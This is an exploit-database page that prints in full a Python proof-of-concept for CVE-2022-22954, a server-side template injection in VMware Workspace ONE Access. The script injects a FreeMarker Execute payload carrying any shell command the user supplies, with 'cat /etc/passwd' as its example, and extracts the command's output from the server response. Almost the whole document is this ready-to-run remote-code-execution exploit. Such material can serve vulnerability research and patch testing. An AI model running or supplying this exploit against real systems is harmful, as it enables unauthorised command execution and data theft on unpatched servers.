Exploit database

GH-f3f7273c22b27ab9063342bf9a29dccf

drordvash/cve-2022-22954_vmware_poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22954

28 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
drordvash/cve-2022-22954_vmware_pocRevision 70ad8a1a35f8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-22954.py

Python · 1,475 bytes
"""
CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection

[+] Github:
https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC

[+] Usage:
python3 CVE-2022-22954.py example.com "cat /etc/passwd"
"""

import sys
import requests

usage = '[+] Usage: python3 {} example.com "cat /etc/passwd"\n'.format(sys.argv[0])

if ("-h" in sys.argv[1]) or (len(sys.argv) < 1):
	print("\n" + usage)
	exit()


def execute():
	try:
		# Check if user input includes "http://" or "https://"
		if "://" in sys.argv[1]:
			domain = sys.argv[1]
		else:
			domain = "https://" + sys.argv[1]

		# Build URL
		base_uri = "/catalog-portal/ui/oauth/verify?error=&deviceUdid="
		payload = "${{\"freemarker.template.utility.Execute\"?new()(\"{}\")}}".format(sys.argv[2])
		final_url = domain + base_uri + url_encode_all(payload)

		# Send payload
		r = requests.get(final_url)

		# Handle response output - get the desired data
		from_output = r.text.find(': workspace, device id:')
		to_output = r.text.find(', device type:')

		# Print output
		if from_output != -1:
			print("#PoC URL:", final_url, "\n")
			print("[+] Output:\n----------")
			output = r.text[from_output+24:to_output]
			for line in output.split('\\n'):
				print(line)
		else:
			print("[!] Target is not vulnerable.")
	except:
		print('[!] ERROR!\n{}'.format(usage))
		exit()


def url_encode_all(string):
	return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)


execute()